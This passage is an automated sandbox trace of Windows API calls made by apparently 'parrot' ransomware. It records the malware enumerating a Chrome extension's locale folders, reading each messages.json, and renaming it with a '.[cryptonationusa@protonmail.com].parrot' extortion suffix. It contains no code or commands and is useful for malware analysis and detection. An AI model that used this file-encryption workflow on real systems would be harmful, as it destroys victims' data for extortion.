lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.252] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.252] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x10f, lpOverlapped=0x0) returned 1 [0073.253] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.253] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x227, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.253] CloseHandle (hObject=0x28c) returned 1 [0073.254] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.262] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.262] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb926e940, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb926e940, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.263] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb92487e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.264] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.264] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.264] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.264] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.264] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.264] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.264] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x218, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.264] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.264] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.265] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.265] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x100, lpOverlapped=0x0) returned 1 [0073.266] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.266] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x218, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.266] CloseHandle (hObject=0x28c) returned 1 [0073.267] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.305] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.305] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb92bac00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb92bac00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.306] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb926e940, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.307] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.307] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.307] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.307] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.307] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.307] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.309] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x215, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.309] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.310] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.310] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.310] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xfd, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xfd, lpOverlapped=0x0) returned 1 [0073.311] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.314] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x215, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.314] CloseHandle (hObject=0x28c) returned 1 [0073.314] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.319] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.319] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb92e0d60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb92e0d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.320] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb92e0d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.320] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.321] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.321] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.321] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.321] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.321] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xee, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.321] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x206, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.321] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.321] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.322] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.322] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xee, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xee, lpOverlapped=0x0) returned 1 [0073.323] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.323] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x206, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.323] CloseHandle (hObject=0x28c) returned 1 [0073.323] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.326] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.326] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9306ec0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9306ec0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.328] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9306ec0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.328] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.328] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.328] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.328] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.328] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.329] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.329] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x200, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.329] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.329] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.330] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.330] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe8, lpOverlapped=0x0) returned 1 [0073.330] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.331] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x200, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.331] CloseHandle (hObject=0x28c) returned 1 [0073.331] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.334] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.334] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9306ec0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9306ec0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.335] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9306ec0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.335] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.335] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.335] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 